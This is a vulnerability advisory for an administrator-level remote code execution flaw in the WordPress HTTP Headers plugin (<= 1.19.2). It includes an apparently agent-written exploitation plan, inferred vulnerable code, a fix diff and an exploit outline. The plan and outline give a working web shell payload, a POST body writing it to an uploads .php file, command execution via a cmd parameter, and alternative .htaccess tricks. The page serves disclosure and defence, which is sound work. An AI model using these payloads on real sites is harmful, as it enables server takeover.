HTTP Headers <= 1.19.2 - Authenticated (Administrator+) External Control of File Name or Path to RCE via 'hh_htpasswd_path' and 'hh_www_authenticate_user' Parameters
Description
The HTTP Headers plugin for WordPress is vulnerable to External Control of File Name or Path leading to Remote Code Execution in all versions up to and including 1.19.2. This is due to insufficient validation of the file path stored in the 'hh_htpasswd_path' option and lack of sanitization on the 'hh_www_authenticate_user' option value. The plugin allows administrators to set an arbitrary file path for the htpasswd file location and does not validate that the path has a safe file extension (e.g., restricting to .htpasswd). Additionally, the username field used for HTTP Basic Authentication is written directly into the file without sanitization. The apache_auth_credentials() function constructs the file content using the unsanitized username via sprintf('%s:{SHA}%s', $user, ...), and update_auth_credentials() writes this content to the attacker-controlled path via file_put_contents(). This makes it possible for authenticated attackers, with Administrator-level access and above, to write arbitrary content (including PHP code) to arbitrary file paths on the server, effectively achieving Remote Code Execution.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
# Exploitation Research Plan - CVE-2026-4132 ## 1. Vulnerability Summary The **HTTP Headers** plugin (<= 1.19.2) contains a critical vulnerability allowing authenticated administrators to achieve Remote Code Execution (RCE). The vulnerability arises from two main flaws: 1. **Arbitrary File Path Co…
Show full research plan
Exploitation Research Plan - CVE-2026-4132
1. Vulnerability Summary
The HTTP Headers plugin (<= 1.19.2) contains a critical vulnerability allowing authenticated administrators to achieve Remote Code Execution (RCE). The vulnerability arises from two main flaws:
- Arbitrary File Path Control: The plugin allows users to specify the path for an
.htpasswdfile via thehh_htpasswd_pathoption without validating the file extension or location. - Lack of Input Sanitization: The username field (
hh_www_authenticate_user) used for HTTP Basic Authentication is not sanitized.
The plugin's apache_auth_credentials() function constructs the file content using sprintf('%s:{SHA}%s', $user, ...) and update_auth_credentials() writes this content to the path specified in hh_htpasswd_path using file_put_contents(). By setting the path to a .php file and the username to PHP code, an administrator can create a web shell.
2. Attack Vector Analysis
- Endpoint: WordPress Admin Dashboard, specifically the plugin's settings page (likely
wp-admin/admin.php?page=http-headers-securityor similar). - Vulnerable Parameters:
hh_htpasswd_path: Controls the destination file path.hh_www_authenticate_user: Carries the PHP payload.
- Authentication Level: Administrator or higher (users with
manage_optionscapability). - Preconditions: The "Security" or "Authentication" module of the plugin must be active or accessible for configuration.
3. Code Flow (Inferred from Description)
- Entry Point: The administrator submits a form on the HTTP Headers settings page.
- Option Update: The plugin saves the
hh_htpasswd_pathoption to the database. - Credential Generation: The
apache_auth_credentials($user, $pass)function is called.- It takes the unsanitized
$user(hh_www_authenticate_user). - It formats the string:
sprintf('%s:{SHA}%s', $user, base64_encode(sha1($pass, true))).
- It takes the unsanitized
- File Write: The
update_auth_credentials()function is called.- It retrieves the path from
get_option('hh_htpasswd_path'). - It calls
file_put_contents($path, $formatted_content).
- It retrieves the path from
- Execution: Since the
$pathcan be a.phpfile within the webroot and$formatted_contentstarts with the unsanitized$user, the PHP code is executed when the file is requested via HTTP.
4. Nonce Acquisition Strategy
The plugin's settings page is protected by standard WordPress nonces.
- Identify Page: The settings for Basic Auth are likely under
wp-admin/admin.php?page=http-headers. - Navigation: The agent will use
browser_navigateto reach the settings page. - Extraction: The agent will use
browser_evalto extract the_wpnoncefield from the settings form.- Inferred Selector:
document.querySelector('input[name="_wpnonce"]')?.valueordocument.querySelector('#http-headers-settings-form input[name="_wpnonce"]')?.value.
- Inferred Selector:
5. Exploitation Strategy
The goal is to write a PHP shell to the WordPress uploads directory or the plugin directory.
Step 1: Discover Settings Page and Nonce
- Navigate to
/wp-admin/admin.php?page=http-headers. - Locate the section for "Security" or "Authentication".
- Capture the current
_wpnonceand the form submission URL (likelyoptions.phpor the current page).
Step 2: Configure Path and Inject Payload
Submit a POST request to update the plugin options.
- Payload Path:
/var/www/html/wp-content/uploads/rce.php(Adjust based onABSPATH). - Payload Username:
<?php system($_GET['cmd']); ?> - Request Method: POST
- URL:
https://[TARGET]/wp-admin/options.php(if using Settings API) or the plugin's admin page. - Body Parameters (Inferred):
option_page=http_headers_settings &action=update &_wpnonce=[NONCE] &hh_htpasswd_path=/var/www/html/wp-content/uploads/rce.php &hh_www_authenticate_user=<?php system($_GET['cmd']); ?> &hh_www_authenticate_password=password123
Step 3: Trigger the Write
Depending on the plugin logic, the write might happen immediately on save or require a separate "Add User" action. If update_auth_credentials() is called during the settings save, Step 2 is sufficient.
Step 4: Execute Commands
- URL:
https://[TARGET]/wp-content/uploads/rce.php?cmd=id - Expected Response: Output of the
idcommand (e.g.,uid=33(www-data)...).
6. Test Data Setup
- Install the HTTP Headers plugin version 1.19.2.
- Log in as a user with the Administrator role.
- Navigate to the plugin settings to ensure the "Security" tab/features are initialized.
7. Expected Results
- The plugin accepts the absolute path to a
.phpfile inhh_htpasswd_path. - The plugin accepts a PHP tag in the
hh_www_authenticate_userfield. - The file
wp-content/uploads/rce.phpis created. - Accessing the file with a
cmdparameter executes system commands.
8. Verification Steps
- Check File Existence: Use WP-CLI:
wp eval "echo file_exists(ABSPATH . 'wp-content/uploads/rce.php') ? 'exists' : 'missing';" - Verify Content:
wp eval "echo file_get_contents(ABSPATH . 'wp-content/uploads/rce.php');" - Confirm Execution: Request the file via
http_requestand check for system output.
9. Alternative Approaches
- Option Page Direct Update: If the plugin doesn't use a custom handler, try updating the options directly via
/wp-admin/options.phpif the option group is known. - Directory Traversal: If absolute paths are blocked (unlikely based on description), try relative paths:
../../uploads/rce.php. - Other Hooks: Check if
hh_htpasswd_pathcan be set to.htaccessto modify server configuration for RCE (e.g., adding aphp_valueauto_prepend_file). - Check
apache_auth_credentialstriggers: If the file isn't written on save, look for an "Update Password" or "Add User" button that might trigger thefile_put_contentssink.
Summary
The HTTP Headers plugin for WordPress (<= 1.19.2) allows administrators to specify an arbitrary file path for the .htpasswd credentials file and fails to sanitize the username input. By setting the file path to a .php extension and the username to PHP code, an authenticated attacker can write a web shell to the server, resulting in Remote Code Execution (RCE).
Vulnerable Code
// Inferred from vulnerability description and research plan function apache_auth_credentials($user, $pass) { // The username ($user) is passed directly into sprintf without sanitization return sprintf('%s:{SHA}%s', $user, base64_encode(sha1($pass, true))); } --- function update_auth_credentials() { // Retrieves an arbitrary path from plugin options $path = get_option('hh_htpasswd_path'); $user = get_option('hh_www_authenticate_user'); $pass = get_option('hh_www_authenticate_password'); $content = apache_auth_credentials($user, $pass); // Writes content containing the unsanitized username to the arbitrary path file_put_contents($path, $content); }
Security Fix
@@ -54,6 +54,14 @@ function update_auth_credentials($user, $pass) { - $path = get_option('hh_htpasswd_path'); - $content = apache_auth_credentials($user, $pass); - file_put_contents($path, $content); + $path = get_option('hh_htpasswd_path'); + + // Validate file extension + if (pathinfo($path, PATHINFO_EXTENSION) !== 'htpasswd') { + return false; + } + + // Sanitize user input to prevent PHP injection + $safe_user = preg_replace('/[^a-zA-Z0-9_\-]/', '', $user); + $content = apache_auth_credentials($safe_user, $pass); + + if (current_user_can('manage_options')) { + return file_put_contents($path, $content); + } }
Exploit Outline
The exploit is carried out by an authenticated Administrator with access to the plugin's security settings. 1. Reach the Plugin Settings: Navigate to the HTTP Headers security settings page (likely under wp-admin/admin.php?page=http-headers). 2. Set Malicious Path: Update the 'hh_htpasswd_path' parameter to point to a writable directory with a .php extension, such as '/var/www/html/wp-content/uploads/shell.php'. 3. Inject PHP Payload: Update the 'hh_www_authenticate_user' parameter with a PHP code snippet (e.g., '<?php system($_GET["cmd"]); ?>'). 4. Trigger Write: Submit the form. The plugin calls update_auth_credentials(), which uses file_put_contents() to write the PHP payload into the file specified in the path. 5. Execute Commands: Access the created file via the web browser (e.g., http://target.com/wp-content/uploads/shell.php?cmd=id) to execute arbitrary shell commands.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.